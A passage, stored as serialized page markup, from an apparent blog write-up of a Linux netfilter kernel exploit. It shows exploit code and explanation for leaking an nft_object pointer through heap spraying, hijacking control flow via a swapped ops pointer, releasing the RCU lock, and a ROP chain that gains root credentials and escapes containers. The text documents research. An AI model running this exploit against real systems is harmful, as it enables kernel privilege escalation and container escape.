",{"type":23,"tag":504,"props":57685,"children":57686},{"style":5047},[57687],{"type":29,"value":546},{"type":23,"tag":504,"props":57689,"children":57690},{"style":5058},[57691],{"type":29,"value":5110},{"type":23,"tag":504,"props":57693,"children":57694},{"style":5030},[57695],{"type":29,"value":57696},"uint64_t",{"type":23,"tag":504,"props":57698,"children":57699},{"style":5047},[57700],{"type":29,"value":11863},{"type":23,"tag":504,"props":57702,"children":57703},{"style":5058},[57704],{"type":29,"value":933},{"type":23,"tag":504,"props":57706,"children":57707},{"style":5139},[57708],{"type":29,"value":57709},"getudata",{"type":23,"tag":504,"props":57711,"children":57712},{"style":5058},[57713],{"type":29,"value":57594},{"type":23,"tag":504,"props":57715,"children":57716},{"style":6297},[57717],{"type":29,"value":57718},"\"spray-2\"",{"type":23,"tag":504,"props":57720,"children":57721},{"style":5058},[57722],{"type":29,"value":5888},{"type":23,"tag":504,"props":57724,"children":57725},{"class":5016,"line":5899},[57726],{"type":23,"tag":504,"props":57727,"children":57728},{"style":5058},[57729],{"type":29,"value":12364},{"type":23,"tag":320,"props":57731,"children":57733},{"id":57732},"leaking-self-pointer-of-nft_object",[57734,57736],{"type":29,"value":57735},"Leaking self pointer of ",{"type":23,"tag":154,"props":57737,"children":57739},{"className":57738},[],[57740],{"type":29,"value":57175},{"type":23,"tag":32,"props":57742,"children":57743},{},[57744,57746,57751,57753,57758,57760,57765,57767,57773],{"type":29,"value":57745},"As I'll discuss in more depth in the ROP section, the exploit relies on a known address of controllable memory to work. I decided to use the ",{"type":23,"tag":154,"props":57747,"children":57749},{"className":57748},[],[57750],{"type":29,"value":57175},{"type":29,"value":57752}," to get its own address. This is possible because the ",{"type":23,"tag":154,"props":57754,"children":57756},{"className":57755},[],[57757],{"type":29,"value":57175},{"type":29,"value":57759}," has a ",{"type":23,"tag":154,"props":57761,"children":57763},{"className":57762},[],[57764],{"type":29,"value":57160},{"type":29,"value":57766}," pointer (similar to ",{"type":23,"tag":154,"props":57768,"children":57770},{"className":57769},[],[57771],{"type":29,"value":57772},"table->udata",{"type":29,"value":57774}," that I used for leaking KASLR), that I can use to read/write data.",{"type":23,"tag":32,"props":57776,"children":57777},{},[57778,57779,57784,57786,57792,57794,57799,57801,57807,57809,57815,57817,57822,57824,57829,57831,57836,57838],{"type":29,"value":18661},{"type":23,"tag":154,"props":57780,"children":57782},{"className":57781},[],[57783],{"type":29,"value":57175},{"type":29,"value":57785}," struct also contains a ",{"type":23,"tag":154,"props":57787,"children":57789},{"className":57788},[],[57790],{"type":29,"value":57791},"list_head",{"type":29,"value":57793}," inserted in a circular list containing all ",{"type":23,"tag":154,"props":57795,"children":57797},{"className":57796},[],[57798],{"type":29,"value":57175},{"type":29,"value":57800},"'s that belong to a given ",{"type":23,"tag":154,"props":57802,"children":57804},{"className":57803},[],[57805],{"type":29,"value":57806},"table",{"type":29,"value":57808},". Considering that our object is currently alone in its table, the ",{"type":23,"tag":154,"props":57810,"children":57812},{"className":57811},[],[57813],{"type":29,"value":57814},"table->list.next",{"type":29,"value":57816}," pointer in the ",{"type":23,"tag":154,"props":57818,"children":57820},{"className":57819},[],[57821],{"type":29,"value":57175},{"type":29,"value":57823}," will point back to the ",{"type":23,"tag":154,"props":57825,"children":57827},{"className":57826},[],[57828],{"type":29,"value":57791},{"type":29,"value":57830}," contained in the ",{"type":23,"tag":154,"props":57832,"children":57834},{"className":57833},[],[57835],{"type":29,"value":57806},{"type":29,"value":57837}," and vice-versa.\n",{"type":23,"tag":199,"props":57839,"children":57841},{"alt":201,"src":57840},"/posts/netfilter-universal-root-1-day/nft-object.png",[],{"type":23,"tag":32,"props":57843,"children":57844},{},[57845,57847,57852,57854,57859,57861,57867,57869,57874,57875,57880,57882,57887,57889,57894],{"type":29,"value":57846},"In short, that means that if we swap the ",{"type":23,"tag":154,"props":57848,"children":57850},{"className":57849},[],[57851],{"type":29,"value":57160},{"type":29,"value":57853}," pointer of the ",{"type":23,"tag":154,"props":57855,"children":57857},{"className":57856},[],[57858],{"type":29,"value":57175},{"type":29,"value":57860}," with its own ",{"type":23,"tag":154,"props":57862,"children":57864},{"className":57863},[],[57865],{"type":29,"value":57866},"list.next",{"type":29,"value":57868}," pointer we should be able to read a pointer back to the ",{"type":23,"tag":154,"props":57870,"children":57872},{"className":57871},[],[57873],{"type":29,"value":57175},{"type":29,"value":54400},{"type":23,"tag":154,"props":57876,"children":57878},{"className":57877},[],[57879],{"type":29,"value":57791},{"type":29,"value":57881}," which is also the start of the ",{"type":23,"tag":154,"props":57883,"children":57885},{"className":57884},[],[57886],{"type":29,"value":57175},{"type":29,"value":57888}," itself.\n",{"type":23,"tag":38,"props":57890,"children":57891},{},[57892],{"type":29,"value":57893},"NOTE:",{"type":29,"value":57895}," This is a novel small trick.",{"type":23,"tag":4743,"props":57897,"children":57899},{"className":31164,"code":57898,"language":31166,"meta":7,"style":7},"[...]\n    // Leak nft_object ptr using table linked list\n    fake_obj[8] = 8;           // ulen = 8\n    fake_obj[9] = fake_obj[0]; // udata = list->next\n    deludata_spray(nl, 2, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 3, 1, fake_obj);\n\n    get_obj(nl, \"spray-0\", true);\n    printf(\"[*] nft_object ptr: 0x%lx\\n\", obj_ptr);\n[...]\n",[57900],{"type":23,"tag":154,"props":57901,"children":57902},{"__ignoreMap":7},[57903,57910,57918,57931,57979,58006,58017,58055,58062,58091,58121],{"type":23,"tag":504,"props":57904,"children":57905},{"class":5016,"line":5017},[57906],{"type":23,"tag":504,"props":57907,"children":57908},{"style":5058},[57909],{"type":29,"value":12364},{"type":23,"tag":504,"props":57911,"children":57912},{"class":5016,"line":4868},[57913],{"type":23,"tag":504,"props":57914,"children":57915},{"style":5058},[57916],{"type":29,"value":57917},"    // Leak nft_object ptr using table linked list\n",{"type":23,"tag":504,"props":57919,"children":57920},{"class":5016,"line":4876},[57921,57926],{"type":23,"tag":504,"props":57922,"children":57923},{"style":5058},[57924],{"type":29,"value":57925},"    fake_obj[8] = 8;",{"type":23,"tag":504,"props":57927,"children":57928},{"style":5021},[57929],{"type":29,"value":57930},"           // ulen = 8\n",{"type":23,"tag":504,"props":57932,"children":57933},{"class":5016,"line":5099},[57934,57939,57943,57948,57952,57956,57961,57965,57969,57974],{"type":23,"tag":504,"props":57935,"children":57936},{"style":5041},[57937],{"type":29,"value":57938},"    fake_obj",{"type":23,"tag":504,"props":57940,"children":57941},{"style":5058},[57942],{"type":29,"value":1380},{"type":23,"tag":504,"props":57944,"children":57945},{"style":5083},[57946],{"type":29,"value":57947},"9",{"type":23,"tag":504,"props":57949,"children":57950},{"style":5058},[57951],{"type":29,"value":10706},{"type":23,"tag":504,"props":57953,"children":57954},{"style":5047},[57955],{"type":29,"value":546},{"type":23,"tag":504,"props":57957,"children":57958},{"style":5041},[57959],{"type":29,"value":57960}," fake_obj",{"type":23,"tag":504,"props":57962,"children":57963},{"style":5058},[57964],{"type":29,"value":1380},{"type":23,"tag":504,"props":57966,"children":57967},{"style":5083},[57968],{"type":29,"value":708},{"type":23,"tag":504,"props":57970,"children":57971},{"style":5058},[57972],{"type":29,"value":57973},"];",{"type":23,"tag":504,"props":57975,"children":57976},{"style":5021},[57977],{"type":29,"value":57978}," // udata = list->next\n",{"type":23,"tag":504,"props":57980,"children":57981},{"class":5016,"line":5203},[57982,57986,57990,57994,57998,58002],{"type":23,"tag":504,"props":57983,"children":57984},{"style":5139},[57985],{"type":29,"value":57589},{"type":23,"tag":504,"props":57987,"children":57988},{"style":5058},[57989],{"type":29,"value":57594},{"type":23,"tag":504,"props":57991,"children":57992},{"style":5083},[57993],{"type":29,"value":5164},{"type":23,"tag":504,"props":57995,"children":57996},{"style":5058},[57997],{"type":29,"value":4367},{"type":23,"tag":504,"props":57999,"children":58000},{"style":5083},[58001],{"type":29,"value":826},{"type":23,"tag":504,"props":58003,"children":58004},{"style":5058},[58005],{"type":29,"value":5888},{"type":23,"tag":504,"props":58007,"children":58008},{"class":5016,"line":5308},[58009,58013],{"type":23,"tag":504,"props":58010,"children":58011},{"style":5139},[58012],{"type":29,"value":57618},{"type":23,"tag":504,"props":58014,"children":58015},{"style":5058},[58016],{"type":29,"value":5725},{"type":23,"tag":504,"props":58018,"children":58019},{"class":5016,"line":5336},[58020,58025,58029,58034,58038,58042,58046,58050],{"type":23,"tag":504,"props":58021,"children":58022},{"style":5139},[58023],{"type":29,"value":58024},"    udata_spray",{"type":23,"tag":504,"props":58026,"children":58027},{"style":5058},[58028],{"type":29,"value":57594},{"type":23,"tag":504,"props":58030,"children":58031},{"style":5083},[58032],{"type":29,"value":58033},"0xe8",{"type":23,"tag":504,"props":58035,"children":58036},{"style":5058},[58037],{"type":29,"value":4367},{"type":23,"tag":504,"props":58039,"children":58040},{"style":5083},[58041],{"type":29,"value":19344},{"type":23,"tag":504,"props":58043,"children":58044},{"style":5058},[58045],{"type":29,"value":4367},{"type":23,"tag":504,"props":58047,"children":58048},{"style":5083},[58049],{"type":29,"value":826},{"type":23,"tag":504,"props":58051,"children":58052},{"style":5058},[58053],{"type":29,"value":58054},", fake_obj);\n",{"type":23,"tag":504,"props":58056,"children":58057},{"class":5016,"line":5349},[58058],{"type":23,"tag":504,"props":58059,"children":58060},{"emptyLinePlaceholder":15},[58061],{"type":29,"value":5734},{"type":23,"tag":504,"props":58063,"children":58064},{"class":5016,"line":5367},[58065,58070,58074,58079,58083,58087],{"type":23,"tag":504,"props":58066,"children":58067},{"style":5139},[58068],{"type":29,"value":58069},"    get_obj",{"type":23,"tag":504,"props":58071,"children":58072},{"style":5058},[58073],{"type":29,"value":57594},{"type":23,"tag":504,"props":58075,"children":58076},{"style":6297},[58077],{"type":29,"value":58078},"\"spray-0\"",{"type":23,"tag":504,"props":58080,"children":58081},{"style":5058},[58082],{"type":29,"value":4367},{"type":23,"tag":504,"props":58084,"children":58085},{"style":5030},[58086],{"type":29,"value":513},{"type":23,"tag":504,"props":58088,"children":58089},{"style":5058},[58090],{"type":29,"value":5888},{"type":23,"tag":504,"props":58092,"children":58093},{"class":5016,"line":5388},[58094,58099,58103,58108,58112,58116],{"type":23,"tag":504,"props":58095,"children":58096},{"style":5139},[58097],{"type":29,"value":58098},"    printf",{"type":23,"tag":504,"props":58100,"children":58101},{"style":5058},[58102],{"type":29,"value":603},{"type":23,"tag":504,"props":58104,"children":58105},{"style":6297},[58106],{"type":29,"value":58107},"\"[*] nft_object ptr: 0x%lx",{"type":23,"tag":504,"props":58109,"children":58110},{"style":50436},[58111],{"type":29,"value":50439},{"type":23,"tag":504,"props":58113,"children":58114},{"style":6297},[58115],{"type":29,"value":22112},{"type":23,"tag":504,"props":58117,"children":58118},{"style":5058},[58119],{"type":29,"value":58120},", obj_ptr);\n",{"type":23,"tag":504,"props":58122,"children":58123},{"class":5016,"line":5397},[58124],{"type":23,"tag":504,"props":58125,"children":58126},{"style":5058},[58127],{"type":29,"value":12364},{"type":23,"tag":320,"props":58129,"children":58131},{"id":58130},"hijacking-control-flow",[58132],{"type":29,"value":58133},"Hijacking control-flow",{"type":23,"tag":32,"props":58135,"children":58136},{},[58137,58139,58144,58146,58151,58153,58158,58160,58165,58167,58172,58174],{"type":29,"value":58138},"To hijack control-flow, we can use ",{"type":23,"tag":154,"props":58140,"children":58142},{"className":58141},[],[58143],{"type":29,"value":57175},{"type":29,"value":58145}," once again. The ",{"type":23,"tag":154,"props":58147,"children":58149},{"className":58148},[],[58150],{"type":29,"value":57175},{"type":29,"value":58152}," struct has an ",{"type":23,"tag":154,"props":58154,"children":58156},{"className":58155},[],[58157],{"type":29,"value":54731},{"type":29,"value":58159}," pointer to a function pointer table. We can swap the ",{"type":23,"tag":154,"props":58161,"children":58163},{"className":58162},[],[58164],{"type":29,"value":54731},{"type":29,"value":58166}," pointer with the ",{"type":23,"tag":154,"props":58168,"children":58170},{"className":58169},[],[58171],{"type":29,"value":57160},{"type":29,"value":58173}," pointer, taking control of the pointer table.\n",{"type":23,"tag":199,"props":58175,"children":58177},{"alt":201,"src":58176},"/posts/netfilter-universal-root-1-day/control-flow.png",[],{"type":23,"tag":4743,"props":58179,"children":58181},{"className":31164,"code":58180,"language":31166,"meta":7,"style":7},"[...]\n    // Fake ops\n    uint64_t *rop = calloc(29, sizeof(uint64_t));\n    rop[0] = kaslr_slide + 0xffffffff81988647; // push rsi; jmp qword ptr [rsi + 0x39];\n    rop[2] = kaslr_slide + NFT_CT_EXPECT_OBJ_TYPE;\n[...]\n    // Send ROP in object udata\n    del_obj(nl, \"spray-0\");\n    wait_destroyer();\n    obj_spray(nl, 1, 1, rop, 0xb8);\n    fake_obj = (uint64_t *)getudata(nl, \"spray-3\");\n    DumpHex(fake_obj, 0xe8);\n    uint64_t rop_addr = fake_obj[9]; // udata ptr\n    printf(\"[*] ROP addr: 0x%lx\\n\", rop_addr);\n\n    // Point to fake ops\n    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n[...]\n    // Write ROP\n    puts(\"[*] Write ROP\");\n    deludata_spray(nl, 3, 1);\n    wait_destroyer();\n    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n\n    // Takeover RIP\n    puts(\"[*] Takeover RIP\");\n    dump_obj(nl, \"spray-1\");\n[...]\n",[58182],{"type":23,"tag":154,"props":58183,"children":58184},{"__ignoreMap":7},[58185,58192,58200,58224,58271,58307,58314,58322,58354,58362,58370,58391,58399,58407,58470,58477,58485,58493,58500,58508,58542,58550,58557,58565,58572,58580,58613,58634],{"type":23,"tag":504,"props":58186,"children":58187},{"class":5016,"line":5017},[58188],{"type":23,"tag":504,"props":58189,"children":58190},{"style":5058},[58191],{"type":29,"value":12364},{"type":23,"tag":504,"props":58193,"children":58194},{"class":5016,"line":4868},[58195],{"type":23,"tag":504,"props":58196,"children":58197},{"style":5058},[58198],{"type":29,"value":58199},"    // Fake ops\n",{"type":23,"tag":504,"props":58201,"children":58202},{"class":5016,"line":4876},[58203,58208,58212,58216,58220],{"type":23,"tag":504,"props":58204,"children":58205},{"style":5058},[58206],{"type":29,"value":58207},"    uint64_t *rop = calloc(29, ",{"type":23,"tag":504,"props":58209,"children":58210},{"style":5467},[58211],{"type":29,"value":57389},{"type":23,"tag":504,"props":58213,"children":58214},{"style":5058},[58215],{"type":29,"value":603},{"type":23,"tag":504,"props":58217,"children":58218},{"style":5030},[58219],{"type":29,"value":57696},{"type":23,"tag":504,"props":58221,"children":58222},{"style":5058},[58223],{"type":29,"value":9267},{"type":23,"tag":504,"props":58225,"children":58226},{"class":5016,"line":5099},[58227,58232,58236,58240,58244,58248,58253,58257,58262,58266],{"type":23,"tag":504,"props":58228,"children":58229},{"style":5041},[58230],{"type":29,"value":58231},"    rop",{"type":23,"tag":504,"props":58233,"children":58234},{"style":5058},[58235],{"type":29,"value":1380},{"type":23,"tag":504,"props":58237,"children":58238},{"style":5083},[58239],{"type":29,"value":708},{"type":23,"tag":504,"props":58241,"children":58242},{"style":5058},[58243],{"type":29,"value":10706},{"type":23,"tag":504,"props":58245,"children":58246},{"style":5047},[58247],{"type":29,"value":546},{"type":23,"tag":504,"props":58249,"children":58250},{"style":5058},[58251],{"type":29,"value":58252}," kaslr_slide ",{"type":23,"tag":504,"props":58254,"children":58255},{"style":5047},[58256],{"type":29,"value":6422},{"type":23,"tag":504,"props":58258,"children":58259},{"style":5083},[58260],{"type":29,"value":58261}," 0xffffffff81988647",{"type":23,"tag":504,"props":58263,"children":58264},{"style":5058},[58265],{"type":29,"value":51137},{"type":23,"tag":504,"props":58267,"children":58268},{"style":5021},[58269],{"type":29,"value":58270}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":23,"tag":504,"props":58272,"children":58273},{"class":5016,"line":5203},[58274,58278,58282,58286,58290,58294,58298,58302],{"type":23,"tag":504,"props":58275,"children":58276},{"style":5041},[58277],{"type":29,"value":58231},{"type":23,"tag":504,"props":58279,"children":58280},{"style":5058},[58281],{"type":29,"value":1380},{"type":23,"tag":504,"props":58283,"children":58284},{"style":5083},[58285],{"type":29,"value":5164},{"type":23,"tag":504,"props":58287,"children":58288},{"style":5058},[58289],{"type":29,"value":10706},{"type":23,"tag":504,"props":58291,"children":58292},{"style":5047},[58293],{"type":29,"value":546},{"type":23,"tag":504,"props":58295,"children":58296},{"style":5058},[58297],{"type":29,"value":58252},{"type":23,"tag":504,"props":58299,"children":58300},{"style":5047},[58301],{"type":29,"value":6422},{"type":23,"tag":504,"props":58303,"children":58304},{"style":5058},[58305],{"type":29,"value":58306}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":23,"tag":504,"props":58308,"children":58309},{"class":5016,"line":5308},[58310],{"type":23,"tag":504,"props":58311,"children":58312},{"style":5058},[58313],{"type":29,"value":12364},{"type":23,"tag":504,"props":58315,"children":58316},{"class":5016,"line":5336},[58317],{"type":23,"tag":504,"props":58318,"children":58319},{"style":5058},[58320],{"type":29,"value":58321},"    // Send ROP in object udata\n",{"type":23,"tag":504,"props":58323,"children":58324},{"class":5016,"line":5349},[58325,58330,58334,58339,58344,58349],{"type":23,"tag":504,"props":58326,"children":58327},{"style":5058},[58328],{"type":29,"value":58329},"    del_obj(",{"type":23,"tag":504,"props":58331,"children":58332},{"style":5467},[58333],{"type":29,"value":56351},{"type":23,"tag":504,"props":58335,"children":58336},{"style":5058},[58337],{"type":29,"value":58338},", \"",{"type":23,"tag":504,"props":58340,"children":58341},{"style":5467},[58342],{"type":29,"value":58343},"spray",{"type":23,"tag":504,"props":58345,"children":58346},{"style":5058},[58347],{"type":29,"value":58348},"-0",{"type":23,"tag":504,"props":58350,"children":58351},{"style":6297},[58352],{"type":29,"value":58353},"\");\n",{"type":23,"tag":504,"props":58355,"children":58356},{"class":5016,"line":5367},[58357],{"type":23,"tag":504,"props":58358,"children":58359},{"style":6297},[58360],{"type":29,"value":58361},"    wait_destroyer();\n",{"type":23,"tag":504,"props":58363,"children":58364},{"class":5016,"line":5388},[58365],{"type":23,"tag":504,"props":58366,"children":58367},{"style":6297},[58368],{"type":29,"value":58369},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":23,"tag":504,"props":58371,"children":58372},{"class":5016,"line":5397},[58373,58378,58382,58387],{"type":23,"tag":504,"props":58374,"children":58375},{"style":6297},[58376],{"type":29,"value":58377},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":23,"tag":504,"props":58379,"children":58380},{"style":5030},[58381],{"type":29,"value":58343},{"type":23,"tag":504,"props":58383,"children":58384},{"style":5058},[58385],{"type":29,"value":58386},"-3",{"type":23,"tag":504,"props":58388,"children":58389},{"style":6297},[58390],{"type":29,"value":58353},{"type":23,"tag":504,"props":58392,"children":58393},{"class":5016,"line":5649},[58394],{"type":23,"tag":504,"props":58395,"children":58396},{"style":6297},[58397],{"type":29,"value":58398},"    DumpHex(fake_obj, 0xe8);\n",{"type":23,"tag":504,"props":58400,"children":58401},{"class":5016,"line":5666},[58402],{"type":23,"tag":504,"props":58403,"children":58404},{"style":6297},[58405],{"type":29,"value":58406},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":23,"tag":504,"props":58408,"children":58409},{"class":5016,"line":5683},[58410,58415,58419,58423,58427,58432,58437,58442,58446,58451,58456,58461,58465],{"type":23,"tag":504,"props":58411,"children":58412},{"style":6297},[58413],{"type":29,"value":58414},"    printf(\"",{"type":23,"tag":504,"props":58416,"children":58417},{"style":5058},[58418],{"type":29,"value":1380},{"type":23,"tag":504,"props":58420,"children":58421},{"style":5047},[58422],{"type":29,"value":6613},{"type":23,"tag":504,"props":58424,"children":58425},{"style":5058},[58426],{"type":29,"value":10706},{"type":23,"tag":504,"props":58428,"children":58429},{"style":5467},[58430],{"type":29,"value":58431},"ROP",{"type":23,"tag":504,"props":58433,"children":58434},{"style":5467},[58435],{"type":29,"value":58436}," addr",{"type":23,"tag":504,"props":58438,"children":58439},{"style":5058},[58440],{"type":29,"value":58441},": 0",{"type":23,"tag":504,"props":58443,"children":58444},{"style":5467},[58445],{"type":29,"value":21327},{"type":23,"tag":504,"props":58447,"children":58448},{"style":5058},[58449],{"type":29,"value":58450},"%",{"type":23,"tag":504,"props":58452,"children":58453},{"style":5467},[58454],{"type":29,"value":58455},"lx",{"type":23,"tag":504,"props":58457,"children":58458},{"style":5058},[58459],{"type":29,"value":58460},"\\",{"type":23,"tag":504,"props":58462,"children":58463},{"style":5467},[58464],{"type":29,"value":596},{"type":23,"tag":504,"props":58466,"children":58467},{"style":6297},[58468],{"type":29,"value":58469},"\", rop_addr);\n",{"type":23,"tag":504,"props":58471,"children":58472},{"class":5016,"line":5696},[58473],{"type":23,"tag":504,"props":58474,"children":58475},{"emptyLinePlaceholder":15},[58476],{"type":29,"value":5734},{"type":23,"tag":504,"props":58478,"children":58479},{"class":5016,"line":5705},[58480],{"type":23,"tag":504,"props":58481,"children":58482},{"style":6297},[58483],{"type":29,"value":58484},"    // Point to fake ops\n",{"type":23,"tag":504,"props":58486,"children":58487},{"class":5016,"line":5728},[58488],{"type":23,"tag":504,"props":58489,"children":58490},{"style":6297},[58491],{"type":29,"value":58492},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":23,"tag":504,"props":58494,"children":58495},{"class":5016,"line":5737},[58496],{"type":23,"tag":504,"props":58497,"children":58498},{"style":6297},[58499],{"type":29,"value":12364},{"type":23,"tag":504,"props":58501,"children":58502},{"class":5016,"line":5746},[58503],{"type":23,"tag":504,"props":58504,"children":58505},{"style":6297},[58506],{"type":29,"value":58507},"    // Write ROP\n",{"type":23,"tag":504,"props":58509,"children":58510},{"class":5016,"line":5813},[58511,58516,58520,58524,58528,58533,58538],{"type":23,"tag":504,"props":58512,"children":58513},{"style":6297},[58514],{"type":29,"value":58515},"    puts(\"",{"type":23,"tag":504,"props":58517,"children":58518},{"style":5058},[58519],{"type":29,"value":1380},{"type":23,"tag":504,"props":58521,"children":58522},{"style":5047},[58523],{"type":29,"value":6613},{"type":23,"tag":504,"props":58525,"children":58526},{"style":5058},[58527],{"type":29,"value":10706},{"type":23,"tag":504,"props":58529,"children":58530},{"style":5467},[58531],{"type":29,"value":58532},"Write",{"type":23,"tag":504,"props":58534,"children":58535},{"style":5467},[58536],{"type":29,"value":58537}," ROP",{"type":23,"tag":504,"props":58539,"children":58540},{"style":6297},[58541],{"type":29,"value":58353},{"type":23,"tag":504,"props":58543,"children":58544},{"class":5016,"line":5821},[58545],{"type":23,"tag":504,"props":58546,"children":58547},{"style":6297},[58548],{"type":29,"value":58549},"    deludata_spray(nl, 3, 1);\n",{"type":23,"tag":504,"props":58551,"children":58552},{"class":5016,"line":5851},[58553],{"type":23,"tag":504,"props":58554,"children":58555},{"style":6297},[58556],{"type":29,"value":58361},{"type":23,"tag":504,"props":58558,"children":58559},{"class":5016,"line":5859},[58560],{"type":23,"tag":504,"props":58561,"children":58562},{"style":6297},[58563],{"type":29,"value":58564},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":23,"tag":504,"props":58566,"children":58567},{"class":5016,"line":5891},[58568],{"type":23,"tag":504,"props":58569,"children":58570},{"emptyLinePlaceholder":15},[58571],{"type":29,"value":5734},{"type":23,"tag":504,"props":58573,"children":58574},{"class":5016,"line":5899},[58575],{"type":23,"tag":504,"props":58576,"children":58577},{"style":6297},[58578],{"type":29,"value":58579},"    // Takeover RIP\n",{"type":23,"tag":504,"props":58581,"children":58582},{"class":5016,"line":5959},[58583,58587,58591,58595,58599,58604,58609],{"type":23,"tag":504,"props":58584,"children":58585},{"style":6297},[58586],{"type":29,"value":58515},{"type":23,"tag":504,"props":58588,"children":58589},{"style":5058},[58590],{"type":29,"value":1380},{"type":23,"tag":504,"props":58592,"children":58593},{"style":5047},[58594],{"type":29,"value":6613},{"type":23,"tag":504,"props":58596,"children":58597},{"style":5058},[58598],{"type":29,"value":10706},{"type":23,"tag":504,"props":58600,"children":58601},{"style":5467},[58602],{"type":29,"value":58603},"Takeover",{"type":23,"tag":504,"props":58605,"children":58606},{"style":5467},[58607],{"type":29,"value":58608}," RIP",{"type":23,"tag":504,"props":58610,"children":58611},{"style":6297},[58612],{"type":29,"value":58353},{"type":23,"tag":504,"props":58614,"children":58615},{"class":5016,"line":11093},[58616,58621,58625,58630],{"type":23,"tag":504,"props":58617,"children":58618},{"style":6297},[58619],{"type":29,"value":58620},"    dump_obj(nl, \"",{"type":23,"tag":504,"props":58622,"children":58623},{"style":5030},[58624],{"type":29,"value":58343},{"type":23,"tag":504,"props":58626,"children":58627},{"style":5058},[58628],{"type":29,"value":58629},"-1",{"type":23,"tag":504,"props":58631,"children":58632},{"style":6297},[58633],{"type":29,"value":58353},{"type":23,"tag":504,"props":58635,"children":58636},{"class":5016,"line":11111},[58637],{"type":23,"tag":504,"props":58638,"children":58639},{"style":6297},[58640],{"type":29,"value":12364},{"type":23,"tag":320,"props":58642,"children":58644},{"id":58643},"bypass-context-switch-in-rcu-critical-section",[58645],{"type":29,"value":58646},"Bypass context switch in RCU critical-section",{"type":23,"tag":32,"props":58648,"children":58649},{},[58650,58651,58656],{"type":29,"value":18661},{"type":23,"tag":154,"props":58652,"children":58654},{"className":58653},[],[58655],{"type":29,"value":57175},{"type":29,"value":58657}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":23,"tag":32,"props":58659,"children":58660},{},[58661,58663,58670,58672,58678,58680,58686],{"type":29,"value":58662},"A workaround has been discussed before by D3v17 in a ",{"type":23,"tag":68,"props":58664,"children":58667},{"href":58665,"rel":58666},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[72],[58668],{"type":29,"value":58669},"previous kernelCTF submission",{"type":29,"value":58671}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":23,"tag":154,"props":58673,"children":58675},{"className":58674},[],[58676],{"type":29,"value":58677},"task_struct",{"type":29,"value":58679}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":23,"tag":154,"props":58681,"children":58683},{"className":58682},[],[58684],{"type":29,"value":58685},"__rcu_read_unlock()",{"type":29,"value":58687}," function and exit the RCU critical-section before switching contexts.",{"type":23,"tag":4743,"props":58689,"children":58691},{"className":31164,"code":58690,"language":31166,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[58692],{"type":23,"tag":154,"props":58693,"children":58694},{"__ignoreMap":7},[58695,58703,58727,58734],{"type":23,"tag":504,"props":58696,"children":58697},{"class":5016,"line":5017},[58698],{"type":23,"tag":504,"props":58699,"children":58700},{"style":5021},[58701],{"type":29,"value":58702},"    // ROP stage 1\n",{"type":23,"tag":504,"props":58704,"children":58705},{"class":5016,"line":4868},[58706,58710,58715,58719,58723],{"type":23,"tag":504,"props":58707,"children":58708},{"style":5030},[58709],{"type":29,"value":21128},{"type":23,"tag":504,"props":58711,"children":58712},{"style":5058},[58713],{"type":29,"value":58714}," pos ",{"type":23,"tag":504,"props":58716,"children":58717},{"style":5047},[58718],{"type":29,"value":546},{"type":23,"tag":504,"props":58720,"children":58721},{"style":5083},[58722],{"type":29,"value":21150},{"type":23,"tag":504,"props":58724,"children":58725},{"style":5058},[58726],{"type":29,"value":5061},{"type":23,"tag":504,"props":58728,"children":58729},{"class":5016,"line":4876},[58730],{"type":23,"tag":504,"props":58731,"children":58732},{"emptyLinePlaceholder":15},[58733],{"type":29,"value":5734},{"type":23,"tag":504,"props":58735,"children":58736},{"class":5016,"line":5099},[58737,58741,58746,58750,58754,58758,58762,58766],{"type":23,"tag":504,"props":58738,"children":58739},{"style":5041},[58740],{"type":29,"value":58231},{"type":23,"tag":504,"props":58742,"children":58743},{"style":5058},[58744],{"type":29,"value":58745},"[pos",{"type":23,"tag":504,"props":58747,"children":58748},{"style":5047},[58749],{"type":29,"value":53331},{"type":23,"tag":504,"props":58751,"children":58752},{"style":5058},[58753],{"type":29,"value":10706},{"type":23,"tag":504,"props":58755,"children":58756},{"style":5047},[58757],{"type":29,"value":546},{"type":23,"tag":504,"props":58759,"children":58760},{"style":5058},[58761],{"type":29,"value":58252},{"type":23,"tag":504,"props":58763,"children":58764},{"style":5047},[58765],{"type":29,"value":6422},{"type":23,"tag":504,"props":58767,"children":58768},{"style":5058},[58769],{"type":29,"value":58770}," __RCU_READ_UNLOCK;\n",{"type":23,"tag":320,"props":58772,"children":58774},{"id":58773},"rop",[58775],{"type":29,"value":58431},{"type":23,"tag":32,"props":58777,"children":58778},{},[58779],{"type":29,"value":58780},"Most of the ROP chain to escape the container as root is business as usual:",{"type":23,"tag":1022,"props":58782,"children":58783},{},[58784,58795,58806],{"type":23,"tag":143,"props":58785,"children":58786},{},[58787,58793],{"type":23,"tag":154,"props":58788,"children":58790},{"className":58789},[],[58791],{"type":29,"value":58792},"commit_creds(&init_cred);",{"type":29,"value":58794}," Commit root credentials to our process",{"type":23,"tag":143,"props":58796,"children":58797},{},[58798,58804],{"type":23,"tag":154,"props":58799,"children":58801},{"className":58800},[],[58802],{"type":29,"value":58803},"task = find_task_by_vpid(1);",{"type":29,"value":58805}," Find the root process of our namespace",{"type":23,"tag":143,"props":58807,"children":58808},{},[58809,58815],{"type":23,"tag":154,"props":58810,"children":58812},{"className":58811},[],[58813],{"type":29,"value":58814},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":58816}," Move it to the root 